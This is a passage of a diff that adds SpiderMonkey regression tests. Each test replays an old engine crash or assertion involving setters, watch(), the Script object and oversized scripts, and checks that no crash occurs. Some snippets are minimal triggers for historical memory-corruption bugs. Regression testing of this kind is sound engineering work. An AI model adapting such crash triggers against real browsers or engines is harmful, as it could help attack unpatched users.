+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361552;
+var summary = 'Crash with setter, watch, Script';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = actual = 'No Crash';
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ this.__defineSetter__('x', gc);
+ this.watch('x', new Script(''));
+ x = 3;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-361558.js b/js/src/tests/js1_5/extensions/regress-361558.js
new file mode 100644
index 000000000..a9a3ae725
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-361558.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361558;
+var summary = 'Do not assert: sprop->setter != js_watch_set';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = actual = 'No Crash';
+
+({}.__proto__.watch('x', print)); ({}.watch('x', print));
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-361571.js b/js/src/tests/js1_5/extensions/regress-361571.js
new file mode 100644
index 000000000..bf89d794b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-361571.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361571;
+var summary = 'Do not assert: fp->scopeChain == parent';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ o = {};
+ o.__defineSetter__('y', eval);
+ o.watch('y', function () { return "";});
+ o.y = 1;
+ }
+ catch(ex)
+ {
+ printStatus('Note eval can no longer be called directly');
+ expect = 'EvalError: function eval must be called directly, and not by way of a function of another name';
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-361856.js b/js/src/tests/js1_5/extensions/regress-361856.js
new file mode 100644
index 000000000..e7e2f675b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-361856.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361856;
+var summary = 'Do not assert: overwriting @ js_AddScopeProperty';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function testit() {
+ var obj = {};
+ obj.watch("foo", function(){});
+ delete obj.foo;
+ obj = null;
+ gc();
+ }
+ testit();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-361964.js b/js/src/tests/js1_5/extensions/regress-361964.js
new file mode 100644
index 000000000..fcb8bba01
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-361964.js
@@ -0,0 +1,54 @@
+// |reftest| skip -- slow, alert not dismissed, now busted by harness
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361964;
+var summary = 'Crash [@ MarkGCThingChildren] involving watch and setter';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var doc;
+ if (typeof document == 'undefined')
+ {
+ doc = {};
+ }
+ else
+ {
+ doc = document;
+ }
+
+ if (typeof alert == 'undefined')
+ {
+ alert = print;
+ }
+
+// Crash:
+ doc.watch("title", function(a,b,c,d) {
+ return { toString : function() { alert(1); } };
+ });
+ doc.title = "xxx";
+
+// No crash:
+ doc.watch("title", function() {
+ return { toString : function() { alert(1); } };
+ });
+ doc.title = "xxx";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-363258.js b/js/src/tests/js1_5/extensions/regress-363258.js
new file mode 100644
index 000000000..4e48b1261
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-363258.js
@@ -0,0 +1,48 @@
+// |reftest| random -- bug 524788
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363258;
+var summary = 'Timer resolution';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = 0;
+ var stop = 0;
+ var i;
+ var limit = 0;
+ var incr = 10;
+ var resolution = 5;
+
+ while (stop - start == 0)
+ {
+ limit += incr;
+ start = Date.now();
+ for (i = 0; i < limit; i++) {}
+ stop = Date.now();
+ }
+
+ print('limit=' + limit + ', resolution=' + resolution + ', time=' + (stop - start));
+
+ expect = true;
+ actual = (stop - start <= resolution);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-363988.js b/js/src/tests/js1_5/extensions/regress-363988.js
new file mode 100644
index 000000000..76f1dccba
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-363988.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363988;
+var summary = 'Do not crash at JS_GetPrivate with large script';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function crash() {
+ var town = new Array;
+
+ for (var i = 0; i < 0x4001; ++i) {
+ var si = String(i);
+ town[i] = [ si, "x" + si, "y" + si, "z" + si ];
+ }
+
+ return "town=" + uneval(town) + ";function f() {}";
+ }
+
+ if (typeof document != "undefined")
+ {
+ // this is required to reproduce the crash.
+ document.write("<script>", crash(), "<\/script>");
+ }
+ else
+ {
+ crash();
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-365527.js b/js/src/tests/js1_5/extensions/regress-365527.js
new file mode 100644
index 000000000..4f2afa2f6
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-365527.js
@@ -0,0 +1,66 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365527;
+var summary = 'JSOP_ARGUMENTS should set obj register';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ counter = 500*1000;
+
+ var obj;
+
+ function getter()
+ {
+ obj = { get x() {
+ return getter();
+ }, counter: counter};
+ return obj;
+ }
+
+
+ var x;
+
+ function g()
+ {
+ x += this.counter;
+ if (--counter == 0)
+ throw "Done";
+ }
+
+
+ function f()
+ {
+ arguments=g;
+ try {
+ for (;;) {
+ arguments();
+ obj.x;
+ }
+ } catch (e) {
+ }
+ }
+
+
+ getter();
+ f();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-365692.js b/js/src/tests/js1_5/extensions/regress-365692.js
new file mode 100644
index 000000000..106b8071a
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-365692.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365692;
+var summary = 'getter/setter bytecodes should support atoms over 64k';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function g()
+{
+ return 10;
+}
+
+try
+{
+ var N = 100*1000;
+ var src = 'var x = ["';
+ var array = Array(N);
+ for (var i = 0; i != N; ++i)
+ array[i] = i;
+ src += array.join('","')+'"]; x.a getter = g; return x.a;';
+ var f = Function(src);
+ if (f() != 10)
+ throw "Unexpected result";
+}
+catch(ex)
+{
+ if (ex == "Unexpected result")
+ {
+ actual = ex;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-365869.js b/js/src/tests/js1_5/extensions/regress-365869.js
new file mode 100644
index 000000000..f027cf84a
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-365869.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365869;
+var summary = 'strict warning for object literal with duplicate propery names';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (!options().match(/strict/))
+ {
+ options('strict');
+ }
+ if (!options().match(/werror/))
+ {
+ options('werror');
+ }
+
+ print('test crash from bug 371292 Comment 9');
+
+ try
+ {
+ expect = "TypeError: can't redefine non-configurable property 5";
+ "012345".__defineSetter__(5, function(){});
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-366288.js b/js/src/tests/js1_5/extensions/regress-366288.js
new file mode 100644
index 000000000..05f0d2565
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-366288.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366288;
+var summary = 'Do not assert !SPROP_HAS_STUB_GETTER with __defineSetter__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__defineSetter__("x", function(){});
+x = 3;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-366292.js b/js/src/tests/js1_5/extensions/regress-366292.js
new file mode 100644
index 000000000..19879769c
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-366292.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366292;
+var summary = '__defineSetter__ and JSPROP_SHARED regression';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'undefined';
+this.__defineSetter__("x", function(){});
+actual = String(x);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-366396.js b/js/src/tests/js1_5/extensions/regress-366396.js
new file mode 100644
index 000000000..4369be821
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-366396.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366396;
+var summary = 'Do not assert !SPROP_HAS_STUB_GETTER on Setter with %=';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__defineSetter__("x", function() {}); x %= 5;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-367118-01.js b/js/src/tests/js1_5/extensions/regress-367118-01.js
new file mode 100644
index 000000000..83c4d59d1
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367118-01.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367118;
+var summary = 'memory corruption in script_compile';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script or toSource not defined');
+ }
+ else
+ {
+ var s = new Script("");
+ var o = {
+ toString : function() {
+ s.compile("");
+ Array(11).join(Array(11).join(Array(101).join("aaaaa")));
+ return "a";
+ }
+ };
+ s.compile(o);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367118-02.js b/js/src/tests/js1_5/extensions/regress-367118-02.js
new file mode 100644
index 000000000..d54fba896
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367118-02.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367118;
+var summary = 'memory corruption in script_compile';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script or toSource not defined');
+ }
+ else
+ {
+ var s = new Script("");
+ var o = {
+ toString : function() {
+ s.compile("");
+ print(1);
+ return "a";
+ }
+ };
+ s.compile(o);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367119-01.js b/js/src/tests/js1_5/extensions/regress-367119-01.js
new file mode 100644
index 000000000..4391ab981
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367119-01.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367119;
+var summary = 'memory corruption in script_exec';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script or toSource not defined');
+ }
+ else
+ {
+ var s = new Script("");
+ var o = {
+ valueOf : function() {
+ s.compile("");
+ Array(11).join(Array(11).join(Array(101).join("aaaaa")));
+ return {};
+ }
+ };
+ s.exec(o);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367119-02.js b/js/src/tests/js1_5/extensions/regress-367119-02.js
new file mode 100644
index 000000000..990e46486
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367119-02.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367119;
+var summary = 'memory corruption in script_exec';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script or toSource not defined');
+ }
+ else
+ {
+ var s = new Script("");
+ var o = {
+ valueOf : function() {
+ s.compile("");
+ print(1);
+ return {};
+ }
+ };
+ s.exec(o);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367120-01.js b/js/src/tests/js1_5/extensions/regress-367120-01.js
new file mode 100644
index 000000000..edb379b9e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367120-01.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367120;
+var summary = 'memory corruption in script_toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined' || !('toSource' in {}))
+ {
+ print('Test skipped. Script or toSource not defined');
+ }
+ else
+ {
+ var s = new Script("");
+ var o = {
+ valueOf : function() {
+ s.compile("");
+ Array(11).join(Array(11).join(Array(101).join("aaaaa")));
+ return;
+ }
+ };
+ s.toSource(o);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367120-02.js b/js/src/tests/js1_5/extensions/regress-367120-02.js
new file mode 100644
index 000000000..cf8c3d2f5
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367120-02.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367120;
+var summary = 'memory corruption in script_toString';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ var s = new Script("");
+ var o = {
+ valueOf : function() {
+ s.compile("");
+ Array(11).join(Array(11).join(Array(101).join("aaaaa")));
+ return;
+ }
+ };
+ s.toString(o);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367121.js b/js/src/tests/js1_5/extensions/regress-367121.js
new file mode 100644
index 000000000..f74e6dfd3
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367121.js
@@ -0,0 +1,64 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367121;
+var summary = 'self modifying script detection';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ actual = expect = 'Test skipped - Test must be run in the browser.';
+ reportCompare(expect, actual, summary);
+ }
+ else if (typeof Script == 'undefined')
+ {
+ actual = expect = 'Test skipped - Test requires Script object..';
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ gDelayTestDriverEnd = true;
+ }
+
+ exitFunc ('test');
+}
+
+function handleLoad()
+{
+ var iframe = document.body.appendChild(document.createElement('iframe'));
+ var d = iframe.contentDocument;
+
+ d.addEventListener("test", function(e) {
+ s.compile("");
+ Array(11).join(Array(11).join(Array(101).join("aaaaa")));
+ }, true);
+
+ var e = d.createEvent("Events");
+ e.initEvent("test", true, true);
+ var s = new Script("d.dispatchEvent(e);");
+ s.exec();
+
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
+
+if (typeof window != 'undefined')
+{
+ window.onload = handleLoad;
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367501-01.js b/js/src/tests/js1_5/extensions/regress-367501-01.js
new file mode 100644
index 000000000..4a84475d0
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367501-01.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'undefined';
+ var a = { set x(v) {} };
+ actual = a.x + '';
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367501-02.js b/js/src/tests/js1_5/extensions/regress-367501-02.js
new file mode 100644
index 000000000..8160a9a70
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367501-02.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'undefined';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 92169 - 3; ++i) a[i] = 1;
+ actual = a.x + '';
+ actual = a.x + '';
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367501-03.js b/js/src/tests/js1_5/extensions/regress-367501-03.js
new file mode 100644
index 000000000..9d0a88c0b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367501-03.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = actual = 'No Crash';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 0x4bf20 - 3; ++i) a[i] = 1;
+ a.x;
+ a.x.x;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367501-04.js b/js/src/tests/js1_5/extensions/regress-367501-04.js
new file mode 100644
index 000000000..9d4b1993b
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367501-04.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = actual = 'No Crash';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 0x10050c - 3; ++i) a[i] = 1;
+ a.x;
+ typeof a.x;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-367589.js b/js/src/tests/js1_5/extensions/regress-367589.js
new file mode 100644
index 000000000..14d7315bf
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-367589.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367589;
+var summary = 'Do not assert !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined')
+ {
+ gDelayTestDriverEnd = true;
+ document.write('<button id="button" onclick="document.getElementsByTagName(\'button\')[0] = \'wtf\';">Crash</button>');
+ window.addEventListener('load', crash, false);
+ }
+ else
+ {
+ reportCompare(expect, actual, summary);
+ }
+
+ exitFunc ('test');
+}
+
+function crash()
+{
+ document.getElementById('button').click();
+ setTimeout(checkCrash, 0);
+}
+
+function checkCrash()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/js1_5/extensions/regress-369404.js b/js/src/tests/js1_5/extensions/regress-369404.js
new file mode 100644
index 000000000..7e3547152
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-369404.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
